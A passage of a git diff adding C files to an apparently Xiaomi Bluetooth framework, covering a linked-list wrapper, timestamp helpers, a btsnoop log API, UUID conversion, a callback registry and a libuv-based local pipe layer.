(int)=>uint32_t=>(pt)/pointer type +#endif +#if !defined(PTR2INT) +#define PTR2INT(it) (it)(uint32_t) // For example, PTR2INT(it)(pointer): (pointer)=>uint32_t=>(it)/int type +#endif +#endif // End of else + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_INTERNAL_H__ */ diff --git a/framework/common/bt_list.c b/framework/common/bt_list.c new file mode 100644 index 0000000000000000000000000000000000000000..2d18aa0c0541c3d4518f33cc4c7d8bf51de66bd5 --- /dev/null +++ b/framework/common/bt_list.c @@ -0,0 +1,224 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <assert.h> +#include <stdint.h> +#include <stdlib.h> + +#include "bt_list.h" + +typedef struct _bt_list { + struct list_node list; + size_t length; + bt_list_free_cb_t free_cb; +} bt_list_t; + +typedef struct _bt_list_node { + struct list_node node; + void* data; +} bt_list_node_t; + +bt_list_t* bt_list_new(bt_list_free_cb_t cb) +{ + bt_list_t* list = malloc(sizeof(bt_list_t)); + if (!list) + return NULL; + + list->length = 0; + list->free_cb = cb; + list_initialize(&list->list); + + return list; +} + +void bt_list_free(bt_list_t* list) +{ + if (!list) + return; + + bt_list_clear(list); + list_delete(&list->list); + free(list); +} + +void bt_list_clear(bt_list_t* list) +{ + assert(list); + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&list->list, node, tmp) + { + bt_list_node_t* bt_node = (bt_list_node_t*)node; + list_delete(&bt_node->node); + if (list->free_cb) + list->free_cb(bt_node->data); + free(bt_node); + list->length--; + } +} + +bool bt_list_is_empty(bt_list_t* list) +{ + assert(list); + + return list->length == 0; +} + +size_t bt_list_length(bt_list_t* list) +{ + assert(list); + + return list->length; +} + +bt_list_node_t* bt_list_head(bt_list_t* list) +{ + assert(list); + + return (bt_list_node_t*)list_peek_head(&list->list); +} + +bt_list_node_t* bt_list_tail(bt_list_t* list) +{ + assert(list); + + return (bt_list_node_t*)list_peek_tail(&list->list); +} + +bt_list_node_t* bt_list_next(bt_list_t* list, bt_list_node_t* bt_node) +{ + assert(list); + if (!bt_node) + return NULL; + + return (bt_list_node_t*)list_next(&list->list, &bt_node->node); +} + +void* bt_list_node(bt_list_node_t* bt_node) +{ + assert(bt_node); + if (!bt_node) + return NULL; + + return bt_node->data; +} + +void bt_list_add_head(bt_list_t* list, void* data) +{ + assert(list); + bt_list_node_t* node = malloc(sizeof(bt_list_node_t)); + assert(node); + + node->data = data; + list_add_head(&list->list, &node->node); + list->length++; +} + +void bt_list_add_tail(bt_list_t* list, void* data) +{ + assert(list); + bt_list_node_t* node = malloc(sizeof(bt_list_node_t)); + assert(node); + + node->data = data; + list_add_tail(&list->list, &node->node); + list->length++; +} + +void bt_list_remove_node(bt_list_t* list, bt_list_node_t* node) +{ + list_delete(&node->node); + list->length--; + if (list->free_cb) + list->free_cb(node->data); + free(node); +} + +void bt_list_remove(bt_list_t* list, void* data) +{ + assert(list); + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&list->list, node, tmp) + { + bt_list_node_t* bt_node = (bt_list_node_t*)node; + if (bt_node->data == data) { + list_delete(&bt_node->node); + if (list->free_cb) + list->free_cb(bt_node->data); + free(bt_node); + list->length--; + break; + } + } +} + +void bt_list_move(bt_list_t* src, bt_list_t* dst, void* data, bool move_to_head) +{ + assert(src); + assert(dst); + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&src->list, node, tmp) + { + bt_list_node_t* bt_node = (bt_list_node_t*)node; + if (bt_node->data != data) + continue; + + list_delete(&bt_node->node); + src->length--; + + if (move_to_head) { + list_add_head(&dst->list, &bt_node->node); + } else { + list_add_tail(&dst->list, &bt_node->node); + } + dst->length++; + + break; + } +} + +void bt_list_foreach(bt_list_t* list, bt_list_iter_cb cb, void* context) +{ + assert(list); + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&list->list, node, tmp) + { + bt_list_node_t* bt_node = (bt_list_node_t*)node; + cb(bt_node->data, context); + } +} + +void* bt_list_find(bt_list_t* list, bt_list_find_cb cb, void* context) +{ + assert(list); + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&list->list, node, tmp) + { + bt_list_node_t* bt_node = (bt_list_node_t*)node; + if (cb(bt_node->data, context)) + return bt_node->data; + } + + return NULL; +} diff --git a/framework/common/bt_time.c b/framework/common/bt_time.c new file mode 100644 index 0000000000000000000000000000000000000000..f55c1531245928bdaf29157d6a67fa3ee957740e --- /dev/null +++ b/framework/common/bt_time.c @@ -0,0 +1,38 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> + +#include <time.h> + +#include "bt_time.h" + +uint64_t bt_get_os_timestamp_us(void) +{ + struct timespec ts; + + clock_gettime(CLOCK_BOOTTIME, &ts); + + return (uint64_t)(((uint64_t)ts.tv_sec * 1000000L) + ((uint64_t)ts.tv_nsec / 1000)); +} + +uint32_t bt_get_os_timestamp_ms(void) +{ + struct timespec ts; + + clock_gettime(CLOCK_BOOTTIME, &ts); + + return (uint32_t)((ts.tv_sec * 1000) + (ts.tv_nsec / 1000000UL)); +} \ No newline at end of file diff --git a/framework/common/bt_trace.h b/framework/common/bt_trace.h new file mode 100644 index 0000000000000000000000000000000000000000..784704a4366ddcb3391386e177a441f128fabd0a --- /dev/null +++ b/framework/common/bt_trace.h @@ -0,0 +1,83 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_LOG_API_H__ +#define __BT_LOG_API_H__ +#ifdef __cplusplus +extern "C" { +#endif +#include "bluetooth.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +typedef enum { + BTSNOOP_FILTER_A2DP_AUDIO, + BTSNOOP_FILTER_AVCTP_BROWSING, + BTSNOOP_FILTER_ATT, + BTSNOOP_FILTER_SPP, + BTSNOOP_FILTER_NOCP, + BTSNOOP_FILTER_MAX, + BTSNOOP_FILTER_UNFILTER, +} btsnoop_filter_flag_t; + +/** + * @brief Enable bluetooth btsnoop log + * + * @param ins - bluetooth client instance. + */ +void BTSYMBOLS(bluetooth_enable_btsnoop_log)(bt_instance_t* ins); + +/** + * @brief Disable bluetooth btsnoop log + * + * @param ins - bluetooth client instance. + */ +void BTSYMBOLS(bluetooth_disable_btsnoop_log)(bt_instance_t* ins); + +/** + * @brief Set a filter flag in the btsnoop log + * + * @param ins - bluetooth client instance. + * @param filter_flag - the flag bit for filtering specified data in the btsnoop log. + */ +void BTSYMBOLS(bluetooth_set_btsnoop_filter)(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag); + +/** + * @brief Remove a filter flag in the btsnoop log + * + * @param ins - bluetooth client instance. + * @param filter_flag - the flag bit for filtering specified data in the btsnoop log. + */ +void BTSYMBOLS(bluetooth_remove_btsnoop_filter)(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag); + +// async +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#include "bt_async.h" + +bt_status_t bluetooth_enable_btsnoop_log_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bluetooth_disable_btsnoop_log_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata); +bt_status_t bluetooth_set_btsnoop_filter_async(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag, + bt_status_cb_t cb, void* userdata); +bt_status_t bluetooth_remove_btsnoop_filter_async(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag, + bt_status_cb_t cb, void* userdata); +#endif // CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + +#ifdef __cplusplus +} +#endif +#endif /* __BT_LOG_API_H__ */ diff --git a/framework/common/bt_uuid.c b/framework/common/bt_uuid.c new file mode 100644 index 0000000000000000000000000000000000000000..eebc0c918f1f8a7c66d1635562ceae24393fbbc1 --- /dev/null +++ b/framework/common/bt_uuid.c @@ -0,0 +1,184 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <inttypes.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_utils.h" +#include "bt_uuid.h" +#include "utils/log.h" + +static const bt_uuid_t bt_uuid128_base = { + .type = BT_UUID128_TYPE, + .val.u128 = { 0xFB, 0x34, 0x9B, 0x5F, 0x80, 0x00, 0x00, 0x80, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } +}; + +#define BASE_UUID16_OFFSET 12 +#define BASE_UUID32_OFFSET 12 + +static void bt_uuid16_to_uuid128(const bt_uuid_t* uuid16, bt_uuid_t* uuid128) +{ + uint8_t uuid[2]; + uint8_t* p = uuid; + + *uuid128 = bt_uuid128_base; + UINT16_TO_STREAM(p, uuid16->val.u16); + + memcpy(&uuid128->val.u128[BASE_UUID16_OFFSET], uuid, sizeof(uuid)); +} + +static void bt_uuid128_to_uuid16(const bt_uuid_t* uuid128, bt_uuid_t* uuid16) +{ + uuid16->type = BT_UUID16_TYPE; + uuid16->val.u16 = (uint16_t)(uuid128->val.u128[BASE_UUID16_OFFSET + 1] << 8 | uuid128->val.u128[BASE_UUID16_OFFSET]); +} + +static void bt_uuid32_to_uuid128(const bt_uuid_t* uuid32, bt_uuid_t* uuid128) +{ + uint8_t uuid[4]; + uint8_t* p = uuid; + + *uuid128 = bt_uuid128_base; + UINT32_TO_STREAM(p, uuid32->val.u32); + memcpy(&uuid128->val.u128[BASE_UUID32_OFFSET], uuid, sizeof(uuid)); +} + +void bt_uuid_to_uuid128(const bt_uuid_t* src, bt_uuid_t* uuid128) +{ + switch (src->type) { + case BT_UUID128_TYPE: + *uuid128 = *src; + break; + case BT_UUID32_TYPE: + bt_uuid32_to_uuid128(src, uuid128); + break; + case BT_UUID16_TYPE: + bt_uuid16_to_uuid128(src, uuid128); + break; + default: + break; + } +} + +void bt_uuid_to_uuid16(const bt_uuid_t* src, bt_uuid_t* uuid16) +{ + switch (src->type) { + case BT_UUID128_TYPE: + bt_uuid128_to_uuid16(src, uuid16); + break; + case BT_UUID32_TYPE: + BT_LOGE("uuid32 to uuid16 not supported!"); + break; + case BT_UUID16_TYPE: + *uuid16 = *src; + break; + default: + break; + } +} + +static int bt_uuid128_cmp(const bt_uuid_t* u1, const bt_uuid_t* u2) +{ + return memcmp(&u1->val.u128, &u2->val.u128, 16); +} + +int bt_uuid16_create(bt_uuid_t* uuid16, uint16_t value) +{ + memset(uuid16, 0, sizeof(bt_uuid_t)); + uuid16->type = BT_UUID16_TYPE; + uuid16->val.u16 = value; + + return 0; +} + +int bt_uuid32_create(bt_uuid_t* uuid32, uint32_t value) +{ + memset(uuid32, 0, sizeof(bt_uuid_t)); + uuid32->type = BT_UUID32_TYPE; + uuid32->val.u32 = value; + + return 0; +} + +int bt_uuid128_create(bt_uuid_t* uuid128, const uint8_t* value) +{ + memset(uuid128, 0, sizeof(bt_uuid_t)); + uuid128->type = BT_UUID128_TYPE; + memcpy(uuid128->val.u128, value, 16); + + return 0; +} + +bool bt_uuid_create_common(bt_uuid_t* uuid, const uint8_t* data, uint8_t type) +{ + switch (type) { + case BT_UUID128_TYPE: + bt_uuid128_create(uuid, data); + break; + case BT_UUID32_TYPE: { + uint32_t val32; + STREAM_TO_UINT32(val32, data); + bt_uuid32_create(uuid, val32); + break; + } + case BT_UUID16_TYPE: { + uint16_t val16; + STREAM_TO_UINT32(val16, data); + bt_uuid16_create(uuid, val16); + break; + } + default: + return false; + } + + return true; +} + +int bt_uuid_compare(const bt_uuid_t* uuid1, const bt_uuid_t* uuid2) +{ + bt_uuid_t u1 = { 0 }; + bt_uuid_t u2 = { 0 }; + + bt_uuid_to_uuid128(uuid1, &u1); + bt_uuid_to_uuid128(uuid2, &u2); + + return bt_uuid128_cmp(&u1, &u2); +} + +int bt_uuid_to_string(const bt_uuid_t* uuid, char* str, uint32_t len) +{ + bt_uuid_t uuid128 = { 0 }; + uint32_t tmp1, tmp5; + uint16_t tmp0, tmp2, tmp3, tmp4; + const uint8_t* p; + + bt_uuid_to_uuid128(uuid, &uuid128); + p = (uint8_t*)&uuid128.val.u128; + + STREAM_TO_UINT16(tmp0, p); + STREAM_TO_UINT32(tmp1, p); + STREAM_TO_UINT16(tmp2, p); + STREAM_TO_UINT16(tmp3, p); + STREAM_TO_UINT16(tmp4, p); + STREAM_TO_UINT32(tmp5, p); + + snprintf(str, len, "%08" PRIx32 "-%04x-%04x-%04x-%08" PRIx32 "%04x", tmp5, tmp4, tmp3, tmp2, tmp1, tmp0); + + return 0; +} diff --git a/framework/common/callbacks_list.c b/framework/common/callbacks_list.c new file mode 100644 index 0000000000000000000000000000000000000000..c9f12534c7e65761e5c0c61f570713d35d6ab3d4 --- /dev/null +++ b/framework/common/callbacks_list.c @@ -0,0 +1,165 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <assert.h> +#include <stdlib.h> + +#include "callbacks_list.h" + +static bool callback_is_found(void* data, void* context) +{ + remote_callback_t* rcbk = data; + + return rcbk->callbacks == context; +} + +static bool remote_is_found(void* data, void* context) +{ + remote_callback_t* rcbk = data; + + return rcbk->remote == context; +} + +callbacks_list_t* bt_callbacks_list_new(uint8_t max) +{ + pthread_mutexattr_t attr; + callbacks_list_t* cbsl = malloc(sizeof(callbacks_list_t)); + + if (!cbsl) + return NULL; + + cbsl->list = bt_list_new(free); + if (!cbsl->list) { + free(cbsl); + return NULL; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + if (pthread_mutex_init(&cbsl->lock, &attr) < 0) { + bt_list_free(cbsl->list); + free(cbsl); + return NULL; + } + + cbsl->max_reg = max; + cbsl->registed = 0; + + return cbsl; +} + +remote_callback_t* bt_callbacks_register(callbacks_list_t* cbsl, void* callbacks) +{ + return bt_remote_callbacks_register(cbsl, NULL, callbacks); +} + +bool bt_callbacks_unregister(callbacks_list_t* cbsl, remote_callback_t* rcbks) +{ + return bt_remote_callbacks_unregister(cbsl, NULL, rcbks); +} + +remote_callback_t* bt_remote_callbacks_register(callbacks_list_t* cbsl, void* remote, void* callbacks) +{ + void* cbs; + remote_callback_t* remote_cbk; + + assert(cbsl); + + pthread_mutex_lock(&cbsl->lock); + if (cbsl->registed == cbsl->max_reg) { + pthread_mutex_unlock(&cbsl->lock); + return NULL; + } + + if (remote) + cbs = bt_list_find(cbsl->list, remote_is_found, remote); + else + cbs = bt_list_find(cbsl->list, callback_is_found, callbacks); + + if (cbs) { + pthread_mutex_unlock(&cbsl->lock); + return NULL; + } + + remote_cbk = malloc(sizeof(*remote_cbk)); + remote_cbk->remote = remote; + remote_cbk->callbacks = callbacks; + + bt_list_add_tail(cbsl->list, remote_cbk); + cbsl->registed++; + pthread_mutex_unlock(&cbsl->lock); + + return remote_cbk; +} + +bool bt_remote_callbacks_unregister(callbacks_list_t* cbsl, void** remote, remote_callback_t* rcbks) +{ + bt_list_node_t* node; + bt_list_t* list; + + assert(cbsl); + + list = cbsl->list; + pthread_mutex_lock(&cbsl->lock); + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + remote_callback_t* cbs = (remote_callback_t*)bt_list_node(node); + if (rcbks == cbs) { + cbsl->registed--; + if (remote) + *remote = cbs->remote; + bt_list_remove_node(list, node); + pthread_mutex_unlock(&cbsl->lock); + return true; + } + } + pthread_mutex_unlock(&cbsl->lock); + + return false; +} + +void bt_callbacks_foreach(callbacks_list_t* cbsl, void* context) +{ +} + +void bt_callbacks_list_free(void* data) +{ + callbacks_list_t* cbsl = data; + if (!cbsl) + return; + + pthread_mutex_lock(&cbsl->lock); + bt_list_free(cbsl->list); + pthread_mutex_unlock(&cbsl->lock); + pthread_mutex_destroy(&cbsl->lock); + free(cbsl); +} + +uint8_t bt_callbacks_list_count(callbacks_list_t* cbsl) +{ + uint8_t registed; + + assert(cbsl); + + pthread_mutex_lock(&cbsl->lock); + registed = cbsl->registed; + pthread_mutex_unlock(&cbsl->lock); + + return registed; +} diff --git a/framework/common/euv_pipe.c b/framework/common/euv_pipe.c new file mode 100644 index 0000000000000000000000000000000000000000..94e1f0a7018daf45e55ece40ecbe3ebe4e268760 --- /dev/null +++ b/framework/common/euv_pipe.c @@ -0,0 +1,557 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdbool.h> +#include <stddef.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_config.h" +#include "bt_debug.h" +#include "euv_pipe.h" +#include "uv.h" + +#ifndef CONFIG_EUV_PIPE_MAX_CONNEXTIONS +#define CONFIG_EUV_PIPE_MAX_CONNEXTIONS 4 +#endif + +typedef struct { + uv_write_t req; + uint8_t* buffer; + euv_write_cb write_cb; +} euv_write_t; + +typedef struct { + euv_read_cb read_cb; + euv_alloc_cb alloc_cb; + uint16_t read_size; +} euv_read_t; + +typedef struct { + uv_connect_t req; + euv_connect_cb connect_cb; + void* data; +} euv_connect_t; + +static void euv_pipe_listen_callback(uv_stream_t* stream, int status) +{ + euv_pipe_t* handle; + euv_connect_t* creq; + int err; + + handle = stream->data; + creq = handle->data; + if (!creq) { + BT_LOGE("%s, creq null", __func__); + return; + } + + err = uv_pipe_init(stream->loop, &handle->cli_pipe, 0); + if (err != 0) { + BT_LOGE("%s, srv_pipe init failed: %s", __func__, uv_strerror(err)); + return; + } + + handle->status |= EUV_CLIENT_PIPE_OPENED; // mark client pipe opened + err = uv_accept(stream, (uv_stream_t*)&handle->cli_pipe); + if (err != 0) { + BT_LOGE("%s, srv_pipe accept failed: %s", __func__, uv_strerror(err)); + return; + } + + if (creq->connect_cb) { + creq->connect_cb(handle, status, creq->data); + } + + // only one pipe can be accepted, release creq + handle->data = NULL; // unrefer creq + free(creq); +} + +static void euv_local_listen_callback(uv_stream_t* stream, int status) +{ + euv_pipe_t* handle; + + if (status < 0) { + BT_LOGE("%s,uv listen error: %s", __func__, uv_strerror(status)); + return; + } + + handle = stream->data; + handle->mode = EUV_PIPE_TYPE_SERVER_LOCAL; + + euv_pipe_listen_callback(stream, status); +} + +#ifdef CONFIG_NET_RPMSG +static void euv_rpmsg_listen_callback(uv_stream_t* stream, int status) +{ + euv_pipe_t* handle; + + if (status < 0) { + BT_LOGE("%s,uv listen error: %s", __func__, uv_strerror(status)); + return; + } + + handle = stream->data; + handle->mode = EUV_PIPE_TYPE_SERVER_RPMSG; + + euv_pipe_listen_callback(stream, status); +} +#endif + +static void euv_close_callback(uv_handle_t* hdl) +{ + euv_pipe_t* handle = hdl->data; + + if (!handle) { + BT_LOGE("%s, handle null", __func__); + return; + } + + if (hdl == (uv_handle_t*)&handle->cli_pipe) { + handle->status &= ~EUV_CLIENT_PIPE_OPENED; // mark client pipe closed + } else if (hdl == (uv_handle_t*)&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL]) { + handle->status &= ~EUV_LOCAL_SERVER_PIPE_OPENED; // mark local server pipe closed + } +#ifdef CONFIG_NET_RPMSG + else if (hdl == (uv_handle_t*)&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_RPMSG]) { + handle->status &= ~EUV_RPMSG_SERVER_PIPE_OPENED; // mark rpmsg server pipe closed + } +#endif + + if (handle->status == EUV_ALL_PIPE_CLOSED) { + // all pipe closed, free handle + BT_LOGD("%s, free handle 0x%p", __func__, handle); + free(handle); + } +} + +static void euv_alloc_callback(uv_handle_t* handle, size_t size, uv_buf_t* buf) +{ + euv_read_t* reader; + + if (!handle->data) { + BT_LOGE("%s, handle data null", __func__); + return; + } + + reader = (euv_read_t*)handle->data; + + if (reader->alloc_cb) + reader->alloc_cb((euv_pipe_t*)handle, (uint8_t**)&buf->base, &buf->len); + else { + buf->base = malloc(reader->read_size); + buf->len = reader->read_size; + } +} + +static void euv_read_callback(uv_stream_t* stream, ssize_t nread, const uv_buf_t* buf) +{ + euv_read_t* reader; + bool release; + + if (!stream->data) { + BT_LOGE("%s, stream data null", __func__); + return; + } + + reader = (euv_read_t*)stream->data; + release = !reader->alloc_cb; + + if (reader->read_cb) + reader->read_cb((euv_pipe_t*)stream, (const uint8_t*)buf->base, nread); + + if (release) { + free(buf->base); + } +} + +static void euv_write_callback(uv_write_t* req, int status) +{ + euv_write_t* wreq = (euv_write_t*)req; + + if (wreq->write_cb) + wreq->write_cb((euv_pipe_t*)wreq->req.data, wreq->buffer, status); + + free(wreq); +} + +int euv_pipe_read_start(euv_pipe_t* handle, uint16_t read_size, euv_read_cb read_cb, euv_alloc_cb alloc_cb) +{ + euv_read_t* reader; + int ret; + + if (uv_is_active((uv_handle_t*)&handle->cli_pipe)) { + BT_LOGE("%s, client is active", __func__); + return 0; + } + + reader = malloc(sizeof(euv_read_t)); + if (!reader) { + BT_LOGE("%s, reader malloc fail", __func__); + return -ENOMEM; + } + + reader->read_cb = read_cb; + reader->alloc_cb = alloc_cb; + reader->read_size = read_size; + handle->cli_pipe.data = reader; + + ret = uv_read_start((uv_stream_t*)&handle->cli_pipe, euv_alloc_callback, euv_read_callback); + if (ret != 0) { + BT_LOGE("%s, read start err:%d", __func__, ret); + handle->cli_pipe.data = NULL; + free(reader); + } + + return ret; +} + +int euv_pipe_read_stop(euv_pipe_t* handle) +{ + if (!handle) { + BT_LOGE("%s, handle null", __func__); + return -EINVAL; + } + + if (handle->cli_pipe.data) { + free(handle->cli_pipe.data); + handle->cli_pipe.data = NULL; + } + + if (!uv_is_active((uv_handle_t*)&handle->cli_pipe)) { + BT_LOGW("%s, cli_pipe is inactive", __func__); + return 0; + } + + if (uv_is_closing((uv_handle_t*)&handle->cli_pipe)) { + BT_LOGE("%s, uv_is_closing", __func__); + return 0; + } + + return uv_read_stop((uv_stream_t*)&handle->cli_pipe); +} + +int euv_pipe_write(euv_pipe_t* handle, uint8_t* buffer, int length, euv_write_cb cb) +{ + uv_buf_t buf; + euv_write_t* wreq; + int ret; + + if (!handle) { + BT_LOGE("%s, handle null", __func__); + return -EINVAL; + } + + wreq = (euv_write_t*)malloc(sizeof(euv_write_t)); + if (!wreq) + return -ENOMEM; + + wreq->req.data = (void*)handle; + wreq->buffer = buffer; + wreq->write_cb = cb; + buf = uv_buf_init((char*)buffer, length); + + ret = uv_write(&wreq->req, (uv_stream_t*)&handle->cli_pipe, &buf, 1, euv_write_callback); + if (ret != 0) { + BT_LOGE("%s, write err:%d", __func__, ret); + free(wreq); + } + + return ret; +} + +static void euv_connect_callback(uv_connect_t* req, int status) +{ + euv_connect_t* creq = (euv_connect_t*)req; + + if (creq->connect_cb) + creq->connect_cb(creq->req.data, status, creq->data); + + free(req); +} + +euv_pipe_t* euv_pipe_connect(uv_loop_t* loop, const char* server_path, euv_connect_cb cb, void* user_data) +{ + euv_pipe_t* handle; + euv_connect_t* creq; + int err; + + if (!loop || !server_path) { + BT_LOGE("%s, invalid arg", __func__); + return NULL; + } + + handle = (euv_pipe_t*)zalloc(sizeof(euv_pipe_t)); + if (!handle) { + BT_LOGE("%s, zalloc fail", __func__); + return NULL; + } + + handle->status = EUV_ALL_PIPE_CLOSED; + err = uv_pipe_init(loop, &handle->cli_pipe, 0); + if (err != 0) { + BT_LOGE("%s, srv_pipe init failed: %s", __func__, uv_strerror(err)); + goto err_out; + } + + handle->status |= EUV_CLIENT_PIPE_OPENED; // mark client pipe opened + creq = zalloc(sizeof(euv_connect_t)); + if (!creq) { + BT_LOGE("%s, zalloc failed", __func__); + goto err_out; + } + + creq->connect_cb = cb; + creq->data = user_data; + creq->req.data = handle; + +#if defined(CONFIG_BLUETOOTH_SERVER) + uv_pipe_connect(&creq->req, &handle->cli_pipe, server_path, euv_connect_callback); +#elif defined(CONFIG_NET_RPMSG) + uv_pipe_rpmsg_connect(&creq->req, &handle->cli_pipe, server_path, CONFIG_BLUETOOTH_RPMSG_CPUNAME, euv_connect_callback); +#else + uv_pipe_connect(&creq->req, &handle->cli_pipe, server_path, euv_connect_callback); // not using bluetoothd +#endif + + BT_LOGD("%s, handle 0x%p", __func__, handle); + + return handle; + +err_out: + free(handle); + return NULL; +} + +#ifdef CONFIG_NET_RPMSG +euv_pipe_t* euv_rpmsg_pipe_connect(uv_loop_t* loop, const char* server_path, const char* cpu_name, euv_connect_cb cb, void* user_data) +{ + euv_pipe_t* handle; + euv_connect_t* creq; + int err; + + if (!loop || !server_path) { + BT_LOGE("%s, invalid arg", __func__); + return NULL; + } + + handle = (euv_pipe_t*)zalloc(sizeof(euv_pipe_t)); + if (!handle) { + BT_LOGE("%s, zalloc fail", __func__); + return NULL; + } + + handle->status = EUV_ALL_PIPE_CLOSED; + err = uv_pipe_init(loop, &handle->cli_pipe, 0); + if (err != 0) { + BT_LOGE("%s, srv_pipe init failed: %s", __func__, uv_strerror(err)); + goto err_out; + } + + handle->status |= EUV_CLIENT_PIPE_OPENED; // mark client pipe opened + creq = zalloc(sizeof(euv_connect_t)); + if (!creq) { + BT_LOGE("%s, zalloc failed", __func__); + goto err_out; + } + + creq->connect_cb = cb; + creq->data = user_data; + creq->req.data = handle; + + uv_pipe_rpmsg_connect(&creq->req, &handle->cli_pipe, server_path, cpu_name, euv_connect_callback); + BT_LOGD("%s, handle 0x%p", __func__, handle); + + return handle; + +err_out: + free(handle); + return NULL; +} +#endif + +euv_pipe_t* euv_pipe_open(uv_loop_t* loop, const char* server_path, euv_connect_cb cb, void* user_data) +{ + euv_pipe_t* handle; + euv_connect_t* creq; + int err; + uv_fs_t fs; + + if (!loop || !server_path) { + BT_LOGE("%s, invalid arg", __func__); + return NULL; + } + + handle = (euv_pipe_t*)zalloc(sizeof(euv_pipe_t)); + if (!handle) { + BT_LOGE("%s, zalloc handle fail", __func__); + return NULL; + } + + handle->mode = EUV_PIPE_TYPE_UNKNOWN; + handle->status = EUV_ALL_PIPE_CLOSED; + + creq = (euv_connect_t*)zalloc(sizeof(euv_connect_t)); + if (!creq) { + BT_LOGE("%s, zalloc creq fail", __func__); + goto errout_with_handle; + } + + creq->data = user_data; + creq->connect_cb = cb; + handle->data = creq; + + err = uv_pipe_init(loop, &handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL], 0); + if (err != 0) { + BT_LOGE("%s, srv_pipe init failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } + + handle->status |= EUV_LOCAL_SERVER_PIPE_OPENED; // mark local server pipe opened + err = uv_fs_unlink(loop, &fs, server_path, NULL); + if (err != 0 && err != UV_ENOENT) { + BT_LOGE("%s, srv_pipe unlink failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } + + err = uv_pipe_bind(&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL], server_path); + if (err != 0) { + BT_LOGE("%s, srv_pipe bind failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } + + handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL].data = handle; + + err = uv_listen((uv_stream_t*)&handle->srv_pipe[EUV_PIPE_TYPE_SERVER_LOCAL], CONFIG_EUV_PIPE_MAX_CONNEXTIONS, euv_local_listen_callback); + if (err != 0) { + BT_LOGE("%s, srv_pipe listen failed: %s", __func__, uv_strerror(err)); + goto errout_with_creq; + } + +#ifdef 